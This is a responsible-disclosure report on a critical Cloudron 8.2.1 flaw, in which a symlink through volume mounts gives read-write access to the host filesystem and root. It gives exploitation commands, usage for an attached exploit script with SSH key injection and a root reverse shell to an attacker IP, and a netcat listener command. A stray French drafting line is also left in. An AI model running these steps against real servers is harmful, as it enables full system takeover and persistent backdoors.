[EN] Affected Version

CLOUDRON 8.2.1

[EN] CVSS v3.1 Score

Base Score: 9.1 (Critical)
Vector: `AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H`

Details:

- **Attack Vector (AV):** Network (N)
- **Attack Complexity (AC):** Low (L)
- **Privileges Required (PR):** High (H)
- **User Interaction (UI):** None (N)
- **Scope (S):** Changed (C)
- **Confidentiality (C):** High (H)
- **Integrity (I):** High (H)
- **Availability (A):** High (H)

The CVSS score highlights the severity of the vulnerability with a critical impact on confidentiality, integrity, and availability.

[EN] Context

During the setup of the Cloudron solution, I conducted a detailed examination of the components installed by the installation script to assess the security of the data stored on the server. This analysis revealed multiple security flaws. When combined, these vulnerabilities could potentially lead to a complete compromise of the "owner" account and allow an attacker to gain root access to the host server.

[EN] Prerequisites

This vulnerability affects both the **administrator** and **superadmin** accounts.
It is important to note that this analysis is based on **CLOUDRON version 8.2.1**, the latest version at the time of the investigation.

[EN] Exploitation

The exploitation steps involve the following:

1. **Add the volume** `/opt/containerd`:
    - Mount this volume to an application that is running in **read-write (RW)** mode.
      (In the example, I used the **WordPress** application.)
2. **Launch the terminal of the application** and execute the following command:

    ```
    ln -s / /media/mountpoint_name/targeted_system
    ```

    This creates a symbolic link to the host system's root (`/`) inside the application's mount directory.
3. **Add the volume** `/opt/containerd/targeted_system`:
    - Mount this volume to the same application running in **RW** mode.
      (Again, using the **WordPress** app as an example.)

    ```
    cd /media/targeted_system
    # We are now operating on the host machine with full read-write access.
    ```

By following these steps, an attacker gains full access to the host's filesystem, with the ability to modify or delete any files. This could lead to a full system compromise, including gaining root privileges.

Voici une version améliorée de la section **Proof of Concept (PoC)** :

[EN] Proof of Concept (PoC)

A fully functional Proof of Concept (PoC) script is attached to this email. This script is designed to demonstrate the vulnerability and can be executed directly on the demonstration instance available at **cloudron.io**.

Example Usage:

```
python3 exploit.py --fqdn "my.demo.cloudron.io" --app_id "<app_id>" --username "cloudron" --password "cloudron" --authorized_keys "<YOUR_AUTHORIZED_KEY>" --attacker_ip "
<127.0.0.1>" --attacker_port "<9001>" --revshell_backdoor "Yes"
```

Replace the placeholders with your specific information based on your setup:

- `<app_id>` : The unique identifier of the targeted application within the Cloudron instance. You can retrieve this from the Cloudron dashboard or API tools.
- `<YOUR_AUTHORIZED_KEY>` : Your public SSH key, typically found in `~/.ssh/id_rsa.pub`. This will be injected into the target's authorized keys.
- `<attacker_ip>` : The IP address of your attacking machine where the reverse shell should connect back. Use your public IP address or `127.0.0.1` for local testing.
- `<attacker_port>` : The port on your attacking machine that is listening for the reverse shell connection. For example, set up a listener using Netcat:

    ```
    nc -lvnp 9001
    ```

Description of the Script:

1. **Initial Setup**: The script authenticates with the Cloudron instance using the provided credentials.
2. **Volume Manipulation**: It automates the process of adding and mounting volumes (`/opt/containerd` and `/opt/containerd/targeted_system`).
3. **Privilege Escalation**: The script then creates a symbolic link to the host system, granting the attacker full **read-write** access to the host filesystem.
4. **Root Shell Access**: If the system's SSH is not exposed, the script includes an option to establish a reverse shell with root privileges for persistent access.

Impact Demonstration:

When executed, the PoC script showcases how an attacker can:

- Access and modify sensitive files on the host.
- Escalate privileges to root.
- Persistently compromise the Cloudron server.

Note: This PoC is intended for security testing purposes only. Unauthorized use on production systems or systems you do not own is strictly prohibited.

[EN] Additional Considerations

It's also worth reviewing the previous vulnerability I shared with you. This vulnerability could simplify the exploitation process, enabling an attacker to obtain a reverse shell with **root** privileges, particularly if the machine is not directly accessible via SSH (e.g., if SSH is not exposed). This would provide a backdoor for the attacker to escalate privileges and take control of the system remotely.